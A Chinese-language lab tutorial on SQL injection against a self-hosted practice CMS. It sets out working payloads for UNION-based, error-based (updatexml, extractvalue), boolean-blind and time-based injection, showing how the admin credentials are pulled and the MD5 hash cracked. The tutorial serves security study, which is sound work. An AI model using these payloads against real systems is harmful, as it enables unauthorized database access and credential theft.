文章目录
前言
搭建环境 :Window server2008虚拟机
—安装phpstudy
—搭建自己写的网页
第一章 目标
通过SQL 注入漏洞获得后台管理员帐密并成功登录系统。
后台地址[http://192.168.139.136/cms/admin/login.php
]
(可以通过御剑扫描后台目录)
第一步 注入点存在
[http://192.168.139.136/cms/show.php?id=33
]
第二步 注入点的判断
对连接[http://192.168.139.136/cms/show.php?id=33
是否是注入点进行判断。
1.变换id 参数
当我们变换id 参数(33+1|33-1)的时候,发现同一个页面,show.php 页面展现出不同的新闻内容。也就是说,数据库中的内容会回显到网页中来。
初步判定,id 参数会带入数据库查询
,根据不同的id 查询数据库,得到不同的新闻内容。
猜测后台执行的SQL 语句大致结构为:
select * from tbName where id=33;
2.单引号
[?id=33’]
执行的SQL 主语则变为select * from tbName where id=33’;
3. [and 1=1 ]
[?id=33 and 1=1 --+]
可能得SQL 语句为select * from tbName where id=33 and 1=1 --+
4. [and 1=2]
[?id=33 and 1=2 --+]
可能得SQL 语句
select * from tbName where id=33 and 1=2 --+
5.[and sleep(5)]
[?id=33 and sleep(5)]
注入sleep(5) 语句,可以通过网络时间线看到延时。
综上,此连接存在SQL 注入漏洞。
第二章联合查询
由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入。
联合查询就是SQL 语法中的union select 语句。该语句会同时执行两条select 语句,生成两张虚拟表,然后把查询到的结果进行拼接。
select ~~~~ union select ~~~~
由于虚拟表是二维结构,联合查询会"纵向"拼接,两张虚拟的表。
实现 跨库跨表查询
第一节必要条件
两张虚拟的表具有相同的列数 虚拟表对应的列的数据类型相同
第二节 判断字段个数
可以使用[order by] 语句来判断当前select 语句所查询的虚拟表的列数。
[order by]语句本意是按照某一列进行排序,在mysql 中可以使用数字来代替具体的列名,比如[order by 1]就是按照第一列进行排序,如果mysql 没有找到对应的列,就会报错[Unknown column]。我们可以依次增加数字,直到数据库报错。
[order by 1 --+]
[order by 2 --+]
…
[order by 15 --+]
[order by 16]
第四步 判断显示位置
[?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+
]
第五步 数据库版本 当前数据库名
我们可以讲数字3 用函数[version()]代替,即可得到数据库的版本。
[?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,database(),12,13,14,15 --+
]
第六步 数据库中的表
[?id=33 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+
]
[?id=33%20and%201=2%20union%20select%201,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15%20from%20information_schema.tables%20where%20table_schema=database()%20--+
]
得到十六进制编码后的字符串
636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273
十六进制解码
cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
管理员帐密有可能保存在cms_users
表中。
第七步 表中字段
[http://192.168.139.136/cms/show.php?id=33%20and%201=2%20union%20select%201,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27cms_users%27--+]
7573657269642C757365726E616D652C70617373776F7264
十六进制解码
userid,username,password
第八步 字段内容
查询表中记录数
[?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+
]
第九步 查询字段内容
[?id=33 and 1=2 union select 1,2,hex(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+
]
61646D696E3A6531306164633339343962613539616262653536653035376632306638383365
admin:e10adc3949ba59abbe56e057f20f883e
得到的是后台管理员帐密,但是密码是以密文的方式保存在数据库中的。通过观察密文可知,此密文为MD5 密文。可以在线查询,网址为
[https://www.cmd5.com/],可以忽略加密类型。
admin:123456
通过网站后台登录系统
第二章 报错注入
在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以进行报错注入。
报错注入的原理,就是在错误信息中执行SQL 语句。触发报错的方式很多,具体细节也不尽相同。此处建议直接背公式即可。
第一节 group by 重复键冲突
[?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]
第二节XPATH 报错
extractalue()
[?id=33 and extractvalue(1,concat('^',(select version()),'^')) --+
]
updatexml()
updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document,为xml文档对象名称,是数据库x库的doc字段
第二个参数:xpath_string:xpath语法
第三个参数:new_value:替换查找到的符合条件的字符(string)
[?id=33 and updatexml(1,concat('^',(select database()),'^'),1) --+] ?id=33 and updatexml(1,concat('^',(Select (group_concat(column_name)) from information_schema.columns where table_schema=database() and table_name=‘cms_users’),'^'),1) --+
数据库表名
[?id=33 and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'^'),1) --+
]
字段名
[?id=33 and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='cms_users' limit 0,1),'^'),1) --+
]
字段值
[?id=33 and updatexml(1,concat('^',(select username from cms_users limit 0,1),'^'),1) --+
[?id=33 and updatexml(1,concat('^',(select password from cms_users limit 0,1),'^'),1) --+
第三章 布尔盲注
第一节 原理
利用页面返回的布尔类型状态,正常或者不正常。
第二节数据库名长度
[?id=33 and length(database())=1 --+
]
…
[?id=33 and length(database())=3 --+
]
第三节数据库名
[`?id=33 and ascii(substr(database(),1,1))=99 --+]`
第四章 延时注入
第一节 原理
利用sleep() 语句的延时性,以时间线作为判断条件。
获取数据库名
第二节获取数据库名长度
[?id=33 and if((length(database())=3),sleep(5),1)--+
]出现延迟
第三节 数据库名
[?id=33 and if((ascii(substr(database(),2,1))=109),sleep(5),1)--+
]
免责声明
本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果上传者概不负责!